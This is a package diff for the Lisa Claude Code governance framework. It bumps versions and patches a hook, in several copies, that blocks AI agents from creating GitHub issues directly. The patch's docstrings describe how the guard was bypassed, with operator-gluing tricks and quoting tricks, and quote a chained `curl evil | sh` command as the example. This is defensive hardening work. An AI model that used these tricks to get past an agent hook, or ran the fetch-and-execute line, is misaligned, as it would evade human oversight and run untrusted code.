AAkE;KACnE,CAAC;IACF,4BAA4B,EAAE,MAAM,CAAC,MAAM,CAAC;QAC1C,kEAAkE;QAClE,kEAAkE;KACnE,CAAC;IACF,4BAA4B,EAAE,MAAM,CAAC,MAAM,CAAC;QAC1C,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;KACnE,CAAC;IACF,wCAAwC,EAAE,MAAM,CAAC,MAAM,CAAC;QACtD,kEAAkE;QAClE,kEAAkE;KACnE,CAAC;IACF,sDAAsD,EAAE,MAAM,CAAC,MAAM,CAAC;QACpE,kEAAkE;KACnE,CAAC;IACF,oDAAoD,EAAE,MAAM,CAAC,MAAM,CAAC;QAClE,kEAAkE;KACnE,CAAC;IACF,uCAAuC,EAAE,MAAM,CAAC,MAAM,CAAC;QACrD,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;KACnE,CAAC;IACF,wCAAwC,EAAE,MAAM,CAAC,MAAM,CAAC;QACtD,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;QAClE,kEAAkE;KACnE,CAAC;CACH,CAAC,CAAC;AACH,sEAAsE"}
package/dist/core/upstream-evidence-manifest.js CHANGED
@@ -10,7 +10,7 @@ export const UPSTREAM_EVIDENCE_MANIFEST = Object.freeze({
10
10
  "all/copy-overwrite/scripts/lisa-enforcement-fallback.sh": "aafd027c4b6092da15d0389f9e8dcedbd9105e9083057e2da39f78fd5f72e0df",
11
11
  "all/copy-overwrite/scripts/lisa-floor-collisions.mjs": "2d11968f6852ab745cba939de03c6d6cb5f413975d2cfc8fc447bdd0b218e91a",
12
12
  "all/copy-overwrite/scripts/lisa-gates.mjs": "4fe7003d048086a366b9bea1711275c2186e095f4bf976279d1ff825fd4eca1d",
13
- "all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh": "8d1f04ef5c5da9db9190e22b37a435e118e39d6e7deafc5402b4593c8e9db2b2",
13
+ "all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh": "698131242f9ea27ea00e864d4b302f4ccc4a24d1383cb8ca9f0b17b565796197",
14
14
  "all/copy-overwrite/scripts/lisa-hooks/block-instruction-file-edits.sh": "3e709e1ec8a5843c00684bc477ad32ddab2c5fdb11f71d5aeec0c49609eaf025",
15
15
  "all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh": "c6472a7f9d509a7eb7b17d665fe3f34827d4e5a50ba5b0d044dd325b468adbf8",
16
16
  "all/copy-overwrite/scripts/lisa-hooks/block-no-verify.sh": "83a8b8108654086afb6a6f23a8f09f9f041eb2cd4094c5531fa7ab1f75e873dc",
@@ -336,7 +336,7 @@ export const UPSTREAM_EVIDENCE_MANIFEST = Object.freeze({
336
336
  "plugins/src/base/commands/verify.md": "ffbc553ec86e77845da72b5b0eb0dbb2b5a93b781ac8a7dbb2ef0f31f38f7b96",
337
337
  "plugins/src/base/commands/wiki/install.md": "51392cf053c17edd549bfbaba5d19ce669dc79021aafa7cfa100324ad38de11f",
338
338
  "plugins/src/base/hooks/block-direct-issue-create.agy.sh": "2adaf15910b6d00e69c202d263d407a21b31c0afce0039c6c042e51c278d2325",
339
- "plugins/src/base/hooks/block-direct-issue-create.sh": "22184f1dd1b96e818741bd4ae659446299535d7ce594817155edebac4172a7ba",
339
+ "plugins/src/base/hooks/block-direct-issue-create.sh": "79bf93f611cfd8ece69df50dcefed97743e3bae4bd9448e00ee0fd603ca83123",
340
340
  "plugins/src/base/hooks/block-instruction-file-edits.agy.sh": "aa249cae53caeb3e0fb6d6af114e2756084f45a2896332fb063a9f20e4902125",
341
341
  "plugins/src/base/hooks/block-instruction-file-edits.sh": "d47314b66d6ce85f77d6e058f861eede4462b2b0a33d54e82ff1c931167ec3f7",
342
342
  "plugins/src/base/hooks/block-managed-file-edits.sh": "9f9de9d76c6f5f5a204b68688567329f5efb71844d7f9ecfa7677c750c41f1d0",
package/package.json CHANGED
@@ -131,7 +131,7 @@
131
131
  "ws": ">=8.21.0"
132
132
  },
133
133
  "name": "@codyswann/lisa",
134
- "version": "3.30.0",
134
+ "version": "3.30.1",
135
135
  "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
136
136
  "main": "dist/index.js",
137
137
  "exports": {
package/plugins/lisa/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa/hooks/block-direct-issue-create.sh CHANGED
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
package/plugins/lisa-agy/hooks/block-direct-issue-create.sh CHANGED
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
package/plugins/lisa-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-cdk/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-cdk/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "AWS CDK-specific Lisa plugin.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-cdk-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh CHANGED
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
package/plugins/lisa-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh CHANGED
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
package/plugins/lisa-expo/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-expo/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Expo and React Native-specific skills, agents, rules, and MCP servers.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-expo-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific Lisa rules for TypeScript component apps.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-harper-fabric-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-nestjs/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-nestjs/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills and migration write-protection hooks.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-nestjs-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-openclaw/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-openclaw/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, across Claude and Codex.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-openclaw-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
